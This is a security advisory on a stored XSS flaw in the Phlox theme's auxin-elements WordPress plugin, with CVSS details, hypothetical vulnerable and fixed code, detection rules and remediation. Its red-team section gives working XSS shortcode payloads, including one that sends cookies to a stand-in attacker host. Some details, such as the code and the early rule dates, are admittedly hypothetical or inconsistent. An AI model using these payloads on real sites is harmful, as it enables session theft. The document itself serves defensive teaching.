CVE-2025-12379

Executive Summary

CVE-2025-12379 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Shortcodes and extra features for Phlox theme" (auxin-elements). The flaw exists in all versions up to and including 2.17.13. An authenticated attacker with at least Contributor-level privileges can inject arbitrary web scripts via the tag and title_tag parameters. The vulnerability stems from insufficient input sanitization and output escaping. When a user (including administrators) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is part of the Phlox theme ecosystem. No patch has been confirmed at the time of analysis. Users should monitor the plugin's update channel and consider disabling the plugin if no patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for the initial injection. The stored nature of the XSS means the payload persists and can affect any user visiting the compromised page.

Deep Dive & Mechanics

The vulnerability resides in the shortcode processing logic of the auxin-elements plugin. The plugin registers custom shortcodes that allow users to insert styled content into posts and pages. Two parameters, tag and title_tag, are used to define HTML tag types (e.g., div, span, h2). The plugin fails to properly sanitize these parameters before outputting them in the generated HTML.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page.
2. The attacker inserts a malicious shortcode, e.g., [aux_shortcode tag="<script>alert('XSS')</script>" title_tag="div"].
3. The plugin processes the shortcode and directly embeds the unsanitized tag value into the page's HTML.
4. When any user (including admins) views the page, the injected script executes in their browser.

The root cause is the lack of proper escaping when the plugin outputs the tag and title_tag values. Instead of using esc_attr() or wp_kses(), the plugin likely uses raw echo or print statements.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

function auxin_shortcode_handler($atts) {
    extract(shortcode_atts(array(
        'tag' => 'div',
        'title_tag' => 'h2',
    ), $atts));
    // Direct output without sanitization
    echo "<$tag class='aux-element'>";
    echo "<$title_tag>Title</$title_tag>";
    echo "</$tag>";
}

Patched Code (expected fix):

function auxin_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'tag' => 'div',
        'title_tag' => 'h2',
    ), $atts);
    // Sanitize using allowed HTML tags
    $tag = in_array($atts['tag'], array('div', 'span', 'p')) ? $atts['tag'] : 'div';
    $title_tag = in_array($atts['title_tag'], array('h1', 'h2', 'h3', 'h4', 'h5', 'h6')) ? $atts['title_tag'] : 'h2';
    // Use esc_attr for attribute values
    echo "<" . esc_attr($tag) . " class='aux-element'>";
    echo "<" . esc_attr($title_tag) . ">Title</" . esc_attr($title_tag) . ">";
    echo "</" . esc_attr($tag) . ">";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with auxin-elements plugin <= 2.17.13
• User account with Contributor-level privileges or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [aux_shortcode tag="img src=x onerror=alert('XSS')" title_tag="div"]
   

4. Publish the post.
5. Any user visiting the post will see an alert box (or execute arbitrary JavaScript).

Advanced Payload:

[aux_shortcode tag="svg onload=fetch('https://attacker.com/steal?cookie='+document.cookie)" title_tag="div"]

Blue Team

Detection:

• Monitor for posts/pages containing suspicious shortcode patterns.
• Look for shortcodes with unusual tag or title_tag values (e.g., containing <script>, onerror, onload).
• Review user activity logs for Contributor-level users creating posts with shortcodes.

Prevention:

• Disable the auxin-elements plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block malicious shortcode parameters.
• Restrict Contributor-level permissions to prevent shortcode usage.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/auxin-elements/includes/shortcodes/class-auxin-shortcode.php (or similar)
• Shortcode pattern: [aux_shortcode tag="<script>...</script>" ...]
• HTTP Request: POST to /wp-admin/post.php with content parameter containing malicious shortcode.
• Log entry: WordPress audit log showing post creation by Contributor with shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2025_12379_WordPress_Phlox_XSS {
    meta:
        description = "Detects malicious shortcode patterns in auxin-elements plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12379"
    strings:
        $shortcode = /\[aux_shortcode[^\]]*tag\s*=\s*["'][^"']*[<>]/ nocase
        $xss_payload = /on\w+\s*=\s*["']/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2025-12379 - Stored XSS via auxin-elements Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[aux_shortcode'
        post_content|re:
            - 'tag\s*=\s*["\'][^"\']*[<>]'
            - 'title_tag\s*=\s*["\'][^"\']*[<>]'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with allowed tags
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12379 - Stored XSS via auxin-elements Shortcode"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"content"; http_client_body; pcre:"/\[aux_shortcode[^\]]*tag\s*=\s*[\x22\x27][^\x22\x27]*[<>]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict Contributor permissions to prevent shortcode usage.
3. Implement WAF rules to block malicious shortcode parameters.

Long-term Fix:

• Apply the vendor patch when released (expected to sanitize tag and title_tag parameters).
• Update to the latest version of the auxin-elements plugin.

Workaround:

• Use a security plugin to monitor and block XSS attempts.
• Manually audit all posts created by Contributor-level users.

Valters IT
Cyber Threat Intelligence & DevSecOps